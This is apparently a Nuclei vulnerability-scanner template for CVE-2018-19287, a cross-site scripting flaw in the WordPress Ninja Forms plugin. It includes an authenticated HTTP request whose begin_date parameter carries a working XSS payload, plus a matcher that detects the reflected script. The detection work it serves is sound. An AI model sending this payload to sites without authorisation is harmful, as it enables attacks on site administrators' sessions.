nuclei-templates/http/cves/2018/CVE-2018-19287.yaml

63 lines
2.4 KiB
YAML
Raw Normal View History

2022-10-13 10:28:46 +00:00
id: CVE-2018-19287
info:
name: WordPress Ninja Forms <3.3.18 - Cross-Site Scripting
2022-10-13 10:28:46 +00:00
author: theamanrawat
severity: medium
2022-10-13 18:21:30 +00:00
description: |
WordPress Ninja Forms plugin before 3.3.18 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in includes/Admin/Menus/Submissions.php via the begin_date, end_date, or form_id parameters. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
2023-09-06 12:57:14 +00:00
remediation: |
Upgrade to the latest version of the Ninja Forms plugin (3.3.18 or higher) to mitigate this vulnerability.
2022-10-13 10:28:46 +00:00
reference:
2022-10-13 18:21:30 +00:00
- https://wpscan.com/vulnerability/fb036dc2-0ee8-4a3e-afac-f52050b3f8c7
2022-10-13 10:28:46 +00:00
- https://wordpress.org/plugins/ninja-forms/
- https://www.exploit-db.com/exploits/45880
- https://nvd.nist.gov/vuln/detail/CVE-2018-19287
2023-07-11 19:49:27 +00:00
- https://plugins.trac.wordpress.org/changeset/1974335/ninja-forms/trunk/includes/Admin/Menus/Submissions.php
2022-10-13 10:28:46 +00:00
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
2022-10-13 10:28:46 +00:00
cve-id: CVE-2018-19287
cwe-id: CWE-79
2023-10-14 11:27:55 +00:00
epss-score: 0.64483
epss-percentile: 0.97516
2023-09-06 12:57:14 +00:00
cpe: cpe:2.3:a:ninjaforma:ninja_forms:*:*:*:*:*:wordpress:*:*
2022-10-13 10:28:46 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 12:57:14 +00:00
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: ninjaforma
product: ninja_forms
2023-09-06 12:57:14 +00:00
framework: wordpress
tags: wp-plugin,wp,xss,authenticated,wpscan,edb,cve,cve2018,ninja-forms,wordpress
2022-10-13 10:28:46 +00:00
http:
2022-10-13 10:28:46 +00:00
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/edit.php?s&post_status=all&post_type=nf_sub&action=-1&form_id=1&nf_form_filter&begin_date="><img+src%3Dx+onerror%3Dalert%28document.domain%29%3B%2F%2F&end_date&filter_action=Filter&paged=1&action2=-1 HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
2023-07-11 19:49:27 +00:00
req-condition: true
2022-10-13 10:28:46 +00:00
matchers-condition: and
matchers:
- type: word
2022-10-13 18:21:30 +00:00
part: body_2
2022-10-13 10:28:46 +00:00
words:
- 'Begin Date" value="\"><img src=x onerror=alert(document.domain);//">'
2022-10-13 18:21:30 +00:00
- type: word
part: header_2
words:
- text/html
2022-10-13 10:38:20 +00:00
- type: status
2022-10-13 10:28:46 +00:00
status:
- 200
# digest: 4b0a00483046022100ab39230dd06de4d30d8ee69324c5cbc090d9ed856389e763af6aa34b41479986022100d47e8e48e921aba29bcb22a8597bd4a6847845f7d4280d56708f334bab890cdf:922c64590222798bb761d5b6d8e72950